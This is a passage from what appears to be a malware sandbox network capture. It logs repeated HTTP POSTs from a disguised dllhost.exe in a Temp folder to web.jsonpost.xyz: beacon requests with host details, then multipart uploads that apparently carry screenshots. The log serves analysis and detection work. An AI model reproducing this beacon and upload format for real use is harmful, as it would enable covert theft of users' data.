Nov 29, 2024 01:52:57.086556911 CET	7416	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:52:57.086677074 CET	2472	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:57.086709023 CET	4944	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:57.086929083 CET	6180	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:52:57.206456900 CET	2472	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS
Nov 29, 2024 01:52:57.206554890 CET	4944	OUT	Data Raw: 48 d2 29 c1 21 77 6d 0b 90 70 0a 93 8e f9 e6 b6 2e a3 8e 2d 6a f2 d6 de e6 d1 d5 75 28 ec 44 29 33 b3 40 d2 13 e5 ef 24 63 9c 1e 85 b1 d0 e0 f1 59 17 d0 de dd d8 cf 6f 25 95 93 dc 4c 81 1e f7 e7 59 1c 0e ec 03 6c 2d 8e 37 6d cf 7c e7 9a ae 6d b5 Data Ascii: H)!wmp.-ju(D)3@$cYo%LYl-7m\|m\]jj2ob\|w,r:9qqqk=WsyfOknl%G7"($rFml1\\C#32Ac]ic8bmlen(`($I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49816	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:57.378237009 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49817	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:58.548974037 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:58.549088955 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:58.549156904 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:58.549177885 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:58.669486046 CET	9888	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:58.669537067 CET	2472	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:58.669569969 CET	2472	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:58.669612885 CET	2472	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:58.669651985 CET	2472	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:52:58.669723034 CET	1236	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:52:58.669759989 CET	2472	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49818	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:58.844618082 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49824	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:00.027614117 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:53:00.027654886 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:53:00.027726889 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:53:00.027749062 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:53:00.147890091 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:53:00.148052931 CET	4944	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:53:00.148180008 CET	2472	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:53:00.148225069 CET	2472	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:53:00.148367882 CET	2472	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:53:00.148425102 CET	2472	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:53:00.148447037 CET	1236	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49825	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:00.310821056 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49826	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:01.527319908 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7 Host: web.jsonpost.xyz Content-Length: 98018 Cache-Control: no-cache
Nov 29, 2024 01:53:01.527390957 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 62 33 37 31 34 34 37 36 31 39 36 62 62 36 31 36 36 39 32 63 36 64 65 64 30 38 65 37 61 61 63 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------b3714476196bb616692c6ded08e7aac7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:53:01.527470112 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:53:01.527493000 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:53:01.647608995 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:53:01.647731066 CET	4944	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:53:01.647838116 CET	4944	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:53:01.648013115 CET	4944	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:53:01.648013115 CET	1236	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:53:01.648222923 CET	2472	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`
Nov 29, 2024 01:53:01.767749071 CET	4944	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49829	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:01.775747061 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49833	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:03.002723932 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7 Host: web.jsonpost.xyz Content-Length: 98018 Cache-Control: no-cache
